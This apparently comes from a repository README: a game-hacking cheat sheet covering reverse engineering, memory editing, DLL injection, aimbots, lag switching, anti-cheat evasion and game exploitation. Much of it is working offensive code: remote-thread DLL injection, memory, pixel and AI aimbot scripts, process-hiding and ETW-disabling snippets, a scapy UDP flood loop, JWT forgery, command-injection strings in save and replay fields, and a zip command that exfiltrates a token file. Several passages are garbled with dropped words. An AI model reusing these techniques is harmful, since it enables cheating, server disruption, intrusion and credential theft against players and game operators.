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Welcome to the definitive guide for game hacking. This repository compiles advanced techniques, tools, and strategies for dissecting and manipulating games, intended strictly for authorized testing, education, and Capture The Flag (CTF) research.

This cheat sheet is structured for developers, security researchers, and reverse engineers. Unauthorized use is unethical and may violate laws or terms of service.



Unravel game internals with these elite static analysis techniques.

  • Run strings, binwalk, hexdump on binaries: Extract plaintext, embedded files, and hex patterns for initial insights.
  • Reverse .exe / .dll with Ghidra, IDA, or Binary Ninja: Decompile to pseudocode or assembly; leverage FLIRT signatures for known libraries (e.g., Unity, Unreal SDKs).
  • Map main(), WinMain(), or game loops: Trace entry points and core logic flows in disassemblers.
  • Extract debug symbols from .pdb / .dbg files: Recover function names, variables, and call stacks using DIA SDK.
  • Analyze sections (.text, .rdata, .data, .reloc, .bss): Identify code, strings, globals, relocations, and uninitialized data.
  • Identify calls to GetAsyncKeyState, memcmp, strstr: Locate input handling and string comparison routines.
  • Search internal function names via strings / RTTI: Exploit runtime type info or plaintext s to map logic.
  • Enumerate imports with rabin2 -i or LIEF: List DLL dependencies and hooked APIs.
  • Check linked libraries (DirectX, Mono, Vulkan): Detect frameworks for rendering, scripting, or physics.

Static analysis is often underutilized—maximize it with advanced correlation and metadata extraction.

  • Use radare2:

    aaaa   # Auto-analysis  
    izz    # Extract strings  
    iS     # Check section entropy
  • Entropy Mapping:

    • Identify packed/encrypted regions using binwalk -E or EntropyGUI
    • High entropy (>7.0) suggests obfuscation

  • Mach-O (macOS):

    • Use otool -lV for load commands
    • Use jtool2 for Objective-C metadata
  • ELF (Linux):

    • Run readelf -Ws for dynamic symbols
    • Use elf to modify interpreters

  • Symbol Recovery: Parse stripped .pdb files using DIA SDK

  • RTTI Exploitation: Rebuild C++ vtables in IDA using RTTI::CompleteObjectLocator

  • Code Cave Detection:

    for seg in Segments():
        if SegName(seg) == ".text":
            for func in Functions(seg, SegEnd(seg)):
                size = GetFunctionAttr(func, FUNCATTR_END) - func
                if size > 5000:
                    print("Potential cave at:", hex(func), "Size:", size)
  • CRC Check & Anti-Tamper Tracing:

    • Look for mov eax, ds:CRC_TABLE, xor ecx, [ptr], etc.
  • PDB Symbol Leeching:

    • Use Microsoft Symbol Servers (symsrv) to pull symbols from related builds
  • Embedded Scripting Engine Detection:

    • Look for: PyRun_SimpleString, lua_pcall, duk_eval_string

  • PE Authenticode Signature Diffing:

    sigcheck.exe -q -m  
    osslsigncode
  • Language / Compiler Fingerprinting:

    • Use binlex, lief, or retdec
PatternOrigin
SEH framesMSVC (Visual Studio)
il2cpp::vm:: callsUnity IL2CPP
UFunction::ProcessEventUnreal Engine

./analyzeHeadless project_dir project_name -import target.exe -postScript ExtractStrings.java -deleteProject

Obfuscation TechniqueDetection MethodTool(s)
UPX / Common PackersStrings entropy, section sizebinwalk, die, upx -t
VMProtect / Themida.text entropy > 7.3, jmp chainsPEiD, Detect It Easy
Unity IL2CPP + Metadataglobal-metadata.dat presenceIl2CppDumper, IDA Pro
Custom XOR / RijndaelHigh-entropy strings, XOR loopsradare2, capstone, Unicorn
Lua Bytecode / JIT1B 4C 75 61 (Lua header)luadec, lua-dis

EngineRecon TargetIndicator / Signature
Unity (Mono)Assembly-CSharp.dll, MonoBehaviourPublic classes, IL2CPP strings
Unreal (UE)UObject::GObjects, GNames48 8B 05 ?? ?? ?? ?? 48 8B 0C C8
CryEngineCrySystem.dll, CryEntitySystem.dllCEntity::Update() in IDA
Sourceclient.dll, engine.dllCreateMove, PaintTraverse
GameMaker*.yy, *.yyp, GameMakerUI.dllInitGameObject, ObjectSetLayer

  • Unity:

    • Use AssetRipper or AssetStudio to extract textures, classes
    • Analyze global-metadata.dat, libil2cpp.so for IL2CPP mappings
  • Unreal Engine:

    • Dump GObjects, GNames, UClass hierarchy using CE Table or SDK Generator
    • Engine.ini:
      [Core.Log]
      LogNet=Verbose
      LogNetTraffic=VeryVerbose
  • Browser/WebGL Titles:

    • Use wasm-decompile, wasm2wat, Chrome DevTools
    • Hook eval, Function, WebAssembly.instantiate

  • Capstone + Unicorn: Emulate decryption logic (e.g., XOR loops)
  • LLVM IR Analysis: Use RetDec to lift binaries to LLVM IR
  • Custom Signatures: Build FLIRT sigs for FMOD, PhysX, etc. using Ghidra

Understanding and automating engine-level reconnaissance is critical for every red teamer, cheat dev, or reverse engineer. Each modern engine (Unity, Unreal, CryEngine, etc.) provides predictable metadata, method tables, and memory layouts that you can scan, dump, or script around for massive leverage.


  • Automatically locate key game logic (health, damage, abilities, inventory)
  • Identify functions to hook or
  • Map scripting engines (Mono, Lua, IL2CPP)
  • Dump class hierarchies (e.g. Player, Entity, Ability)
  • Locate rendering functions, timers, or input handlers
  • Script cheat tables or Frida hooks dynamically

File Indicators:

  • UnityPlayer.dll, global-metadata.dat, Assembly-CSharp.dll
  • Directory: /Managed/, /Data/, /MonoBleedingEdge/
  • Presence of il2cpp_data/ for IL2CPP builds

Memory Indicators:

strings -n 10 game.exe | grep "UnityEngine"

UnityVersion tags in binary or Player.log.


Steps:

  • Attach Cheat Engine or MonoMod tools
  • Go to Mono → Activate Mono Features
  • Use Dissect Mono to list all classes and methods
  • Hook method using mono_findMethod

Auto-dumper:

local c = mono_enumDomains()
for _, domain in pairs(c) do
    local assemblies = mono_enumAssemblies(domain)
    for _, asm in pairs(assemblies) do
        print("Assembly:", mono_getAssemblyName(asm))
    end
end

Tools:

  • Il2CppDumper (CLI/GUI)
  • IDA Plugin: Il2CppInspector
  • ScyllaHide + CE for live memory scans

Process:

  1. Dump global-metadata.dat + GameAssembly.dll
  2. Run:
Il2CppDumper GameAssembly.dll global-metadata.dat output/
  1. Look for key class mappings: Player::TakeDamage, Inventory::AddItem, etc.

Bonus:

  • Use IDA Pro + FLIRT to auto-rename IL2CPP methods
  • Create .sig from Unity 2021.3 base headers for auto-tagging

Static Indicators:

  • UE4Game.exe, UE5Game.exe, GEngine.dll, UnrealPak.exe
  • .pak files in /Content/ or /Paks/
  • UObject, UFunction, FString patterns in memory

Runtime Signatures:

TargetAOB Signature
GObjects48 8B 05 ?? ?? ?? ?? 48 8B 0C C8
GNames48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0
ProcessEventE8 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ??

Use pymem + AOB scan or CE Lua script to resolve dynamically.


Use UE4 SDK Generator:

UE4Dumper.exe -pid <target_pid> -dump

Generates: Classes.hpp, Offsets.hpp, Functions.cpp

Load in IDA to cross-ref symbols and write your own internal ProcessEvent() hook.


from pymem import Pymem

pm = Pymem("game.exe")
gobjects = pm.read_int(0x12345678)  # Found via sig scan
for i in range(1024):
    obj_ptr = pm.read_int(gobjects + i * 4)
    name = pm.read_string(obj_ptr + 0x18)
    print(f"[+] Object {i}: {name}")

# Ghidra - find GNames
pattern = b"\x48\x8B\x05"
findBytes(currentProgram, pattern)

Enable rich logging for network or events:

[Core.Log]
LogNet=VeryVerbose
LogNetTraffic=VeryVerbose
LogOnline=VeryVerbose

Also enable:

[/Script/Engine.RendererSettings]
r.DebugDraw = 1

  • wasm-decompile (binaryen)
  • wasm2wat (WABT)
  • Chrome DevTools → Memory panel → WebAssembly.Instance.exports
  • Hook WebAssembly.instantiate
const original = WebAssembly.instantiate;
WebAssembly.instantiate = async function(buffer, importObj) {
    console.log("[+] Hooked WASM instantiate");
    return original.call(this, buffer, importObj);
};

Or use:

Function = new Proxy(Function, {
    apply(target, thisArg, args) {
        console.log("Eval:", args[0]);
        return Reflect.apply(...arguments);
    }
});

  • wasm-decompile
  • radare2 -AA file.wasm
  • ghidra_wasm_plugin

Reverse-engineer exports: Identify heal(), moveTo(), attack().


  • lua_getglobal, lua_setglobal, lua_pcall
  • Enumerate Lua stack and global table
int n = lua_gettop(L);
lua_pushnil(L);
while (lua_next(L, LUA_GLOBALSINDEX)) {
    printf("%s\n", lua_tostring(L, -2));
    lua_pop(L, 1);
}
Interceptor.attach(Module.findExportByName("lua_pcall"), {
    onEnter(args) {
        console.log("Calling Lua:", args[1]);
    }
});

EngineToolPurpose
UnityIl2CppDumper, AssetRipperDump C# classes, metadata
UnrealUE4Dumper, SDK GenGenerate headers, locate hooks
WebGLwasm-decompile, DevToolsExport analysis, JS interop
LuaFrida, LuaJIT toolsDump globals, hook logic

Use these indicators to fingerprint game engines and enable targeted reversing strategies.

EngineIndicatorSignature / Pattern
Unity (IL2CPP)global-metadata.dat, libil2cpp.so.data section with metadata blob
Unity (Mono)Assembly-CSharp.dllIL code; browse via dnSpy / dotPeek
Unreal EngineUObject::GObjects, GNames48 8B 05 ?? ?? ?? ?? 48 8B 0C C8
CryEngineCrySystem.dll, CEntity::Update()Export table symbols or IDA auto-analysis
Godot.gd scripts, main_loop stringsCustom bytecode and scene structure patterns

High-Entropy Sections (VMProtect, Themida, Enigma)

binwalk -E target.exe

IL2CPP Metadata Fingerprint (Unity)

with open("global-metadata.dat", "rb") as f:
    header = f.read(4)
    if header == b"\xAF\x1B\xB1\xFA":
        print("[+] IL2CPP Metadata Detected")

Unpacking VMProtect / Themida

  • Identify loader stub (jmp short, jmp dword ptr fs)
  • Trace decrypt stub via x64dbg + ScyllaHide
  • Dump real .text from memory using Scylla
  • Rebuild IAT with PE-bear or x64dbg IAT Rebuilder
// IDA script: Recover class names
auto rtti = get_rtti_struct(ea);

Master real-time memory manipulation with these professional-grade methods.

  • Attach Cheat Engine, x64dbg, or Frida: Monitor live processes with breakpoints and value scans.
  • Scan/Freeze In-Memory Values: Lock health, ammo, or gold by finding and freezing addresses.
  • Trace "What Writes to Address": Locate opcodes modifying key variables (e.g., player stats).
  • Heap Spray Tracing: Monitor allocations during crafting or spawning for overflow targets.
  • Dynamic Import Resolution: Hook LoadLibrary/GetProcAddress to log runtime DLL calls.
  • Hook/Detour with Frida: Inject custom logic into game functions dynamically.
  • Use ReClass.NET: Reverse-engineer memory structures (e.g., player class pointers).
  • Hook DirectX/OpenGL: Overlay ESP/aimbot visuals by intercepting render calls.
  • Trace Memory Maps: Use /proc//maps (Linux) or VirtualQueryEx (Windows) to chart layouts.
  • Monitor Telemetry: Sniff heartbeat timers or uploads with Process Monitor/Wireshark.

Flip bits in real-time with these advanced tactics.

  • Time Travel Debugging (TTD): Record execution with WinDbg Preview TTD, rewind to trace variable origins.
  • Heap Feng Shui: Force predictable heap layouts with controlled allocations (e.g., spray 0x1000-byte objects).
  • Frida Stalker:
    Stalker.follow({
      events: { compile: true },
      onReceive: function (blocks) { console.log(blocks); }
    });
  • DirectX/OpenGL Hooking:
    • RenderDoc: Capture frames to reverse shaders.
    • VTable Hooking: Swap IDXGISwapChain::Present for ESP overlays.
  • Kernel-Mode Monitoring: Use Intel Processor Trace (PT) via perf (Linux) or WinDbg kernel debugging.

  • Frida Heap Tracker:
    Interceptor.attach(Module.getExportByName(null, "malloc"), {
      onEnter: function (args) {
        this.size = args[0].toInt32();
      },
      onLeave: function (retval) {
        if (this.size == 0x500) {
          console.log("[*] Large allocation at: " + retval);
        }
      }
    });
  • Shadowing Game Logic: Identify duplicate structs (e.g., player_data vs. player_shadow) in ReClass.NET to exploit state management.
  • Dynamic Function Pointer Dis:
    var base = ptr("0x400000");
    Memory.scan(base, 0x100000, "?? ?? ?? ?? ?? ?? ?? ??", {
      onMatch: function (address, size) {
        if (!address.readPointer().isNull()) {
          console.log("VTable candidate at:", address);
        }
      }
    });
  • Continuous Memory Map Correlation: Track allocation deltas with VirtualQueryEx (Windows) or diff /proc//maps (Linux).
  • Snapshot-Diffing: Take memory dumps at different states and compare with pymem, pydiff, or Rust scanners.
  • Memory Breakpoint Watch:
    • Cheat Engine: Right-click → "Find out what writes to this address"
    • x64dbg:
      bp access mem 0xDEADBEEF size 4 r/w

  • Intel PIN: Instruction-level tracing for fine-grained analysis.
  • Memory Allocator Hooks: Intercept malloc/HeapAlloc to track allocations.
  • Custom Scanners: Build memory scanners in Rust for cross-platform efficiency.

List<GameObject> spray = new List<GameObject>();
for (int i = 0; i < 10000; i++) {
  spray.Add(new GameObject("HeapObject" + i));
}
Interceptor.attach(Module.getExportByName(null, 'malloc'), {
  onEnter(args) {
    this.size = args[0].toInt32();
  },
  onLeave(retval) {
    if (this.size > 1024) {
      console.log(`[+] Allocated: ${this.size} bytes at ${retval}`);
    }
  }
});
Interceptor.attach(Module.getExportByName(null, "operator new"), {
  onEnter: function (args) {
    this.sz = args[0].toInt32();
  },
  onLeave: function (retval) {
    console.log("[+] new() size:", this.sz, " -> ", retval);
  }
});

Linux:

cat /proc/<pid>/maps

Windows:

VirtualQueryEx(hProc, address)
Module.enumerateRanges('r-x').forEach(range => {
  Memory.scan(range.base, range.size, '55 8B EC', {
    onMatch(addr) {
      console.log("[*] Function prologue at:", addr);
    }
  });
});


PurposeTool
Heap TracingFrida, Valgrind (Linux)
Structure ReversingReClass.NET
Frame CaptureRenderDoc, PIX
Runtime InstrumentationFrida, Intel PIN
Live Scanningpymem, Rust+WinAPI


Cheat Engine (CE) is a powerful reverse engineering and memory editing tool, far beyond just scanning for health or ammo. Below is a modular breakdown to push CE into red team and CTF-grade use.


  • Cheat Engine (latest build)
  • Custom driver (signed or unsigned)
  • Windows x64 target (Unity, Unreal, Mono, etc.)
  • Optional: Frida / x64dbg / ReClass.NET

In modern games, static addresses don’t last — you must trace pointers.

Manual Pointer Walk:

[game.exe+0x02F41B90] → 0xDEADBEEF → +0x10 → Health

Steps:

  • Scan for health
  • Right-click → “What accesses this address”
  • Use “Pointer scan” → “Find path to value”
  • Reboot and validate

Auto Pointer Lookup via Lua:

local base = readPointer("game.exe+0x02F41B90")
local health = readInteger(base + 0x10)
print("Health:", health)

game logic or build trainers.

Example: Health Freeze:

[ENABLE]
alloc(newmem,2048)
label(return)

newmem:
  mov [eax+10],#999
  jmp return

"game.exe"+123456:
  jmp newmem
return:

Bonus:

  • Use jmp short vs jmp near based on distance (5-byte near )

Use signatures to find injection sites dynamically.

[ENABLE]
aobscanmodule(INJECT_AOB,game.exe,89 54 24 10 8B 45 ??)
alloc(newmem,2048,"game.exe")
label(return)

newmem:
  nop
  nop
  jmp return

INJECT_AOB:
  jmp newmem
return:

Good AOB tips:

  • Unique, short patterns
  • Avoid excessive wildcards
  • Grab from IDA/CE memory viewer

Interact directly with Mono-based Unity games.

Steps:

  • Attach → Mono → Activate Mono Features
  • Use “Dissect Mono” to inspect class/methods

🔧 Hook a Unity Method (Lua):

local method = mono_findMethod("Assembly-CSharp", "Player", "TakeDamage")
print("TakeDamage at:", string.format("0x%X", method.address))

CE’s Lua API enables real-time memory editing and trainers.

F6 Hotkey to Refill Ammo:

function refillAmmo()
  writeInteger("[game.exe+0x1A2B3C4]", 999)
end

createHotkey(refillAmmo, VK_F6)

Add via Table → Show Cheat Table Lua Script


CE is detectable — use these strategies:

  • Rename executable
  • Hex-edit PE headers
  • Strip metadata/version info
dbk_writesIgnoreWriteProtection(true)
  • Avoid global hooks
  • Inline memory edits
  • Custom dbk64.sys
  • Load unsigned via KDMapper or Test Mode

unused memory space for full logic.

Steps:

  • Search for 00 00 00 00 in .text or .data
  • Inject your logic
  • JMP from game code to cave
alloc(cave, 512, "game.exe+0x123456")

Combine CE scanning + Frida hooks:

Use CE for:

  • Live struct discovery
  • Memory validation

Use Frida for:

  • Internal function hooking
  • Argument manipulation
Interceptor.attach(ptr("0xDEADBEEF"), {
  onEnter(args) {
    args[0] = ptr(999);
  }
});

Inject cheats with surgical precision using these elite methods.

  • Classic LoadLibrary Injection:

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    LPVOID addr = VirtualAllocEx(hProc, NULL, strlen(dllPath)+1, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProc, addr, dllPath, strlen(dllPath)+1, NULL);
    CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, addr, 0, NULL);
  • Manual Mapping: Bypass detection with stealth injection (e.g., GH Injector).

  • Inline Hooks:

    Original:
    MOV EAX, [EBP+8]
    CALL GameFunction
    
    Hooked:
    JMP HookFunction
    NOP
  • VMT Hooking:

    DWORD* vTable = *(DWORD**)player;
    DWORD original = vTable[5];
    vTable[5] = (DWORD)&MyFunction;
  • .text Cave Injection: Hide code in unused executable sections.

  • CreateRemoteThread: Inject into suspended processes silently.

  • IAT/EAT ing: Redirect import/export tables to custom functions.

  • Hook Direct3D EndScene()/Present(): Render ESP overlays.

  • Shellcode in Heap: Inject small stubs for minimal footprint.

  • SetWindowsHookEx: Capture keyboard/mouse input globally.


  • Process Hollowing: Replace svchost.exe with game binary using NtUnmapViewOfSection + ZwMapViewOfSection.
  • Vectored Exception Handling (VEH): Hijack execution flow via AddVectoredExceptionHandler.
  • Reflective DLL Injection: Load DLLs from memory without touching disk.

TechniqueMethodUse Case
.text Cave InjectionInject in unused code sectionHigh stealth
VEH HookTrigger via exception handlerReflective injection
TLS CallbackRun code before main() in PEPre-initialization
IAT ingRedirect imports (e.g., MessageBoxA)Function hijacking
Discord Overlay HijackDLL sideload via overlayBypass anti-cheat
  • eBPF Hooking (Linux): Attach probes to kernel syscalls for stealth.
  • PTrace Injection (Android): Modify running code using PTRACE_POKETEXT.

Uncover deep exploit pathways in both client and server components of modern games. Includes memory corruptions, logic flaws, protocol fuzzing, and weaponized savegame/asset injections.

Classic memory corruption bugs, still common in native engine modules, mods, or legacy games.

void parse_chat(char *msg) {
  char buf[128];
  strcpy(buf, msg); // 💥 Vulnerable: No bounds check
}

Exploit Payload:

payload = b"A" * 132 + b"\xDE\xAD\xBE\xEF"
send_to_game_chat(payload)
void read_item(FILE *f) {
  char *buf = malloc(64);
  fread(buf, 1, 128, f); // 💥 Heap overflow
}

Heap Spray + UAF:

  • Use crafted .inv file.
  • Reallocate freed memory with attacker-controlled structure.

Modern games often parse custom .sav, .json, or .bin save formats.

Target Areas:

  • Long strings (names, chat, inventory)
  • Embedded scripting fields
  • Reused legacy fields (e.g., Lua in old engines)
{
  "playerName": "A" * 1024 + "\u0041\u0041\u0041\u0041",
  "inventory": [{"item": "sword"}]
}

Execution Vector: If parsed with strcpy() or loaded into memory without bounds check, leads to RCE.

Tools: Radamsa, AFL++, zzuf, boofuzz, custom grammar fuzzers

Game backends often expose vulnerable APIs or real-time logic bugs.

POST /api/shop/buyItem
{
  "itemId": "super_legendary_sword",
  "price": 1
}

If price is only enforced client-side → free legendary loot.

Test With: Burp Suite, mitmproxy, Python requests

import jwt
token = jwt.encode({"user": "admin"}, "wrongkey", algorithm="HS256")

Works if backend accepts unsigned or improperly verified tokens.

alg=none Bypass:

{
  "alg": "none",
  "typ": "JWT"
}

Use: jwt.io, pyjwt, or node-jose.

  • Cooldown Tampering: Send multiple "cast spell" packets in quick succession.
  • Currency Race Conditions: Double-purchase via parallel POSTs.

Use ffuf, Intruder, or Python asyncio spammer.

Low-level network attacks can crash or take control of networked games.

from scapy.all import *

payload = b"A" * 1024
pkt = IP(dst="192.168.1.15")/UDP(dport=27015)/payload
send(pkt, loop=1, inter=0.01)

Targets:

  • Legacy engine netcode (e.g., Source Engine)
  • Poorly written packet parsers (e.g., Protobuf over UDP)
  • Desync crashes in P2P engines (e.g., RakNet, Unity LLAPI)

Use Wireshark + custom dissectors to reverse:

  • Encryption schemes
  • Opcode IDs (RPCs)
  • Frag/ack logic in UDP game protocols

Combine with:

  • binwalk for packet structure
  • boofuzz to fuzz packet fields

Games that load external assets (like .png, .mp3, .pak) via third-party libraries can be exploited via:

  • Malicious PNGs → libpng overflows
  • Malformed MP3 → libmad parsing flaws
  • Malicious .bsp or .pak → custom scripting hooks

Injected file triggers buffer overflows or logic flaws in parser.

Use: Peach Fuzzer, Fuzzino, or custom asset generators

TechniqueTargetDescription / Payload
Stack OverflowLocal bufferstrcpy() → overwrite return address
Savegame InjectionClient-side RCECraft .sav to trigger memory corruption
JWT ForgeryBackend auth bypassalg=none or wrong key → admin access
Parameter TamperingGame APIBuy top-tier items for 0 coins
Packet FuzzingMultiplayer engineOversized or malformed UDP packets
Race Condition AbuseCrafting/shopDouble-purchase exploit with async flood
Script InjectionLua-enabled titles"name": "x'); os.execute('calc.exe') --"
Malicious Asset FileTexture/audio/mapTriggers in vulnerable parsers (e.g., libpng)

For blockchain-based games:

  • Replay signed transactions (double spend)
  • Injected logic via proxy contract manipulation
  • Abuse poorly-written game logic

Example:

function upgradeWeapon(uint weaponId, uint cost) {
  require(balance[msg.sender] >= cost); // no actual deduction
  weaponLevel[weaponId]++;
}

Exploit: Weapon can be upgraded indefinitely.

PurposeTools
Savegame FuzzingRadamsa, AFL++, Boofuzz
Protocol ReversingWireshark, Scapy, Ghidra
Live Memory AnalysisCheat Engine, Frida, ReClass.NET
Backend ExploitsBurp Suite, Postman, mitmproxy
JWT Manipulationpyjwt, jwt.io, node-jose
File Format ExploitsBinwalk, Peach Fuzzer, zzuf
Multiplayer Spammingffuf, python-requests, asyncio tools

Modern games often implement deterministic replay systems that log input, entity states, and timestamps to re-simulate gameplay. These replay files (.dem, .replay, .json, etc.) can be:

  • Reverse-engineered to extract telemetry
  • Modified to inject arbitrary input or manipulate the outcome
  • Exploited if the engine blindly trusts replay content
  • Used for offline aimbot training, analytics, or forensic attack reconstruction

Game / EngineFormatNotes
CS:GO / Source.demProprietary binary log of commands/events
Rocket League.replayJSON-packed protobuf with physics frames
Overwatch.replayZstd-compressed binary
StarCraft II.SC2ReplayMPQ archive with Battle.net metadata
Fortnite / UE.replayUnreal's internal DemoNetDriver format
Dota 2.dem (Source 2)Similar to CS:GO but Source 2 enhancements

  • Identify structure (text, binary, protobuf, zlib, zstd?)
  • Use binwalk or xxd to inspect entropy and boundaries
  • Load into HexFiend, Ghidra, or write a custom parser

Tools: demoinfo2, CSGO-Demo-Parser, SourceDemoTool
Events include: svc_PacketEntities, svc_GameEvent, svc_TempEntities
Cheat use-case: Extract tick-perfect player behavior

  • JSON + protobuf + Zlib
  • Tools: BakkesMod, ReplayParser, Python decoder
  • Modify: PlayerInput (throttle, boost), PhysicsFrames (teleport, trajectory)

{
  "player_name": "__import__('os').system('calc.exe')"
}

Affected engines: Python-based, Unity with insecure JSON


eventQueue = {
  { tick=32, action="GiveGold(9999999)" },
  { tick=48, action="CastSpell('killall')" }
}

Hijack scripting logic in Lua/Unreal mod games


zip --junk-paths sc2.dmp ../AppData/Local/Blizzard/token.txt

Upload replay in web UI → s internal token


for tick in replay['frames']:
    model.learn(tick['player_pos'], tick['enemy_pos'], tick['aim_angle'])

Tools: PyTorch, YOLOv7, TensorRT, Keras-RL


Use CaseTechnique
Wallhack ShowcaseAlter player coordinates mid-replay
Fake Tournament FootageModify match outcome
Anti-Cheat FingerprintingTrace events to identify bans
Match Outcome ReversalInject impossible scores or goals
Engine Crash PoCUpload malformed replays

ToolLanguageTarget Game
demoinfo2C#CS:GO
RLBotParserPythonRocket League
UEReplayReaderC++Fortnite/Unreal
MPQEditorWindowsStarCraft II
BakkesModC++Rocket League
PySC2PythonSC2 AI training

import zlib, json

with open("game.replay", "rb") as f:
    raw = f.read()

data = zlib.decompress(raw[16:])  # Skip header
replay = json.loads(data)

for frame in replay["Frames"]:
    for p in frame["PlayerData"]:
        p["Boost"] = 1.0

new_data = json.dumps(replay).encode()
compressed = zlib.compress(new_data)

with open("modded.replay", "wb") as f:
    f.write(raw[:16] + compressed)

  • Phishing (malicious replays)
  • Telemetry tracking across demos
  • Replay Trojan loading malicious paths

WeaknessDefense
Replay DeserializationStrict schema, no dynamic eval
Script InjectionFilter commands, sandbox replay engine
Replay Import AbusePath sanitization, auth ACLs
DoS PayloadsLimit frame count/size
Client Trust ReplayValidate against server logs

This section delves into weaponized automation, physics manipulation, and lag-based game logic abuse in competitive multiplayer contexts. These techniques simulate adversarial behavior to enhance defensive strategies and understand vulnerabilities in game systems.


AreaTechnique ClassDescription
AimbotsScreen, Memory, AIAutomate targeting of enemies with precision.
ClippingMemory, Physics ingBypass collision to move through objects.
Lag ExploitsNetwork InterferenceManipulate latency to disrupt PvP interactions.

TypeSourceDetection RiskPlatform
Memory AimbotEntity memoryHigh (Anti-Cheat)PC only
Pixel AimbotScreen/ColorLow-MediumPC/Console
AI AimbotNeural VisionLowPC/Console
Input-Based AimController FeedVery LowConsole+PC

import math

RAD_TO_DEG = 180 / math.pi

def calculate_angle(my_pos, enemy_pos):
    delta = enemy_pos - my_pos
    yaw = math.atan2(delta.y, delta.x) * RAD_TO_DEG
    pitch = math.atan2(-delta.z, math.sqrt(delta.x**2 + delta.y**2)) * RAD_TO_DEG
    return pitch, yaw
void aim_at_target(DWORD base, Vector3 my_pos, Vector3 enemy_pos) {
    float pitch, yaw;
    calculate_angle(my_pos, enemy_pos, &pitch, &yaw);
    writeFloat(base + view_angles_offset, yaw);
    writeFloat(base + view_angles_offset + 4, pitch);
}

import pyautogui
import cv2
import numpy as np

def find_target():
    screenshot = pyautogui.screenshot()
    frame = np.array(screenshot)
    mask = cv2.inRange(frame, (200,0,0), (255,50,50))  # Red enemy box
    loc = np.where(mask > 0)
    if loc[0].size > 0:
        target = list(zip(*loc[::-1]))[0]
        pyautogui.moveTo(target[0], target[1])
def smooth_aim(current, target, speed=0.1):
    dx = (target[0] - current[0]) * speed
    dy = (target[1] - current[1]) * speed
    return current[0] + dx, current[1] + dy

import torch

model = torch.hub.load('ultralytics/yolov5', 'yolov5s')
def aim_at_enemies(frame):
    results = model(frame)
    targets = results.pandas().xyxy[0]
    if not targets.empty:
        target = targets.iloc[0]
        center_x = (target['xmin'] + target['xmax']) / 2
        center_y = (target['ymin'] + target['ymax']) / 2
        adjust_aim(center_x, center_y)
from filterpy.kalman import KalmanFilter

kf = KalmanFilter(dim_x=4, dim_z=2)
kf.predict()
kf.update([measured_x, measured_y])

#include <Joystick.h>

void aim_and_shoot(int x_offset, int y_offset) {
    Joystick.move(x_offset, y_offset);
    Joystick.pressButton(FIRE_BUTTON);
    delay(100);
    Joystick.releaseButton(FIRE_BUTTON);
}

void disable_collision(DWORD player_ptr) {
    *(bool*)(player_ptr + collision_enabled_offset) = false;
}
bBlockingHit = false;  // Ignore collisions

iptables -A OUTPUT -p udp --dport 27015 -j TEE --gateway 127.0.0.1
tc qdisc add dev lo root netem delay 600ms

Interceptor.attach(Module.findExportByName("ws2_32.dll", "sendto"), {
    onEnter(args) {
        let packet = args[1];
        if (is_combat_packet(packet)) {
            Thread.sleep(600);
        }
    }
});
tc qdisc add dev eth0 root tbf rate 100kbit latency 50ms burst 1540
from scapy.all import *

def drop_damage_packets(pkt):
    if UDP in pkt and pkt[UDP].dport == 27015:
        if is_damage_received(pkt.load):
            return False
    return True

sniff(filter="udp", prn=drop_damage_packets, store=0)
DWORD WINAPI fake_tick_count() {
    return original_tick_count() - 2000;
}

Evade detection with these next-level bypasses.

  • Hook NtQuerySystemInformation:

    if (SystemInformationClass == SystemProcessInformation) {
        // Modify buffer to hide process
    }
  • IsDebuggerPresent(): Nullify checks with a byte edit.

  • Disable ETW:

    mov rdx, [EtwpProviderTable]
    xor rdx, rdx
  • Driver-Level Injection: Use signed exploit drivers (e.g., Capcom.sys).

  • Unlink DLLs from PEB:

    PLIST_ENTRY pList = (PLIST_ENTRY)pPeb->Ldr->InMemoryOrderModuleList.Flink;
    pList->Blink->Flink = pList->Flink;
    pList->Flink->Blink = pList->Blink;
  • Obfuscate with VMProtect/Themida.

  • rdtsc:

    xor eax, eax
    ret
  • Falsify telemetry, suspend AC threads, hijack overlays.


  • Driver Signing Bypass: Exploit certs (e.g., CVE-2023-36033).
  • Hypervisor Detection Evasion: CPUID VMX flags.
  • Memory Cloaking: Modify CR3 to create ghost memory regions.
  • DMA: Use PCILeech with FT601 FPGA for invisible RAM edits.
  • Behavioral Spoofing: AI-generated mouse movement (GAN-based).

  • Kernel Callbacks: to avoid detection.
  • Rootkits: Persistent cloaking and hiding memory pages.
  • HWID Spoofing: Forged hardware identifiers to bypass bans.

Break game rules with clever manipulations.

  • NOP Timers: Remove reload/cooldown delays.
  • Overwrite Pointers: Skip cooldown logic.
  • Tamper Damage Formulas: Boost damage output.
  • Disable Recoil/Sway: physics variables.
  • Currency Desync: Exploit offline logic for free cash.
  • Teleport: Overwrite XYZ coordinates.
  • Fake Events: Trigger onWin() artificially.
  • Client Prediction Desync: Ghost enemies.
  • Modify RNG Seeds: Force loot rolls.
  • Duplicate Items: Abuse server sync bugs.

  • Physics Manipulation: Hook hkpWorld::stepDeltaTime or PhysX calls.
  • Coordinate Warping: Script teleport logic via ReadProcessMemory / WriteProcessMemory.
  • RNG Prediction: Reverse Mersenne Twister using outputs.

Target game engines with tailored exploits.

  • Unity: Assembly-CSharp.dll, hook Mono runtime.
  • Unreal: Inject .pak files, hook UFunction::ProcessEvent.
  • GameMaker: Modify .yy / .yyp and inject via YYDebug.
  • WebGL/WASM: Use wasm-decompile, optimize with wasm-opt.
  • Lua/Mono: Inject scripts, hook Assembly.Load.

  • Unreal Engine 5:

    • Dump GObjects/GNames using pattern scan: 48 8B 05 ?? ?? ?? ?? 48 8B 0C C8
    • Inject UGameplayStatics::ExecuteConsoleCommand
  • Unity:

    • Dump IL2CPP with Il2CppDumper + Ghidra
    • Hijack Mono JIT via mono_jit_compile_method
  • Advanced:

    • Shader Replacement for wallhacks
    • Physics Hooks via engine allocators

Employ bleeding-edge hacks at the APT level.

  • Ring0 Driver Injection
  • EPT Memory Redirection (VT-x)
  • PTE Bits to hide pages
  • Hypervisor Execution: Custom VM cheat layer
  • PCILeech DMA
  • UEFI/EFI Bootkits for firmware persistence
  • GPU-Offloaded Cheats: Use CUDA shaders
  • Syscall Stubs
  • NTFS ADS: Alternate data stream payloads

  • UEFI Rootkits: Flash modded firmware via CH341A
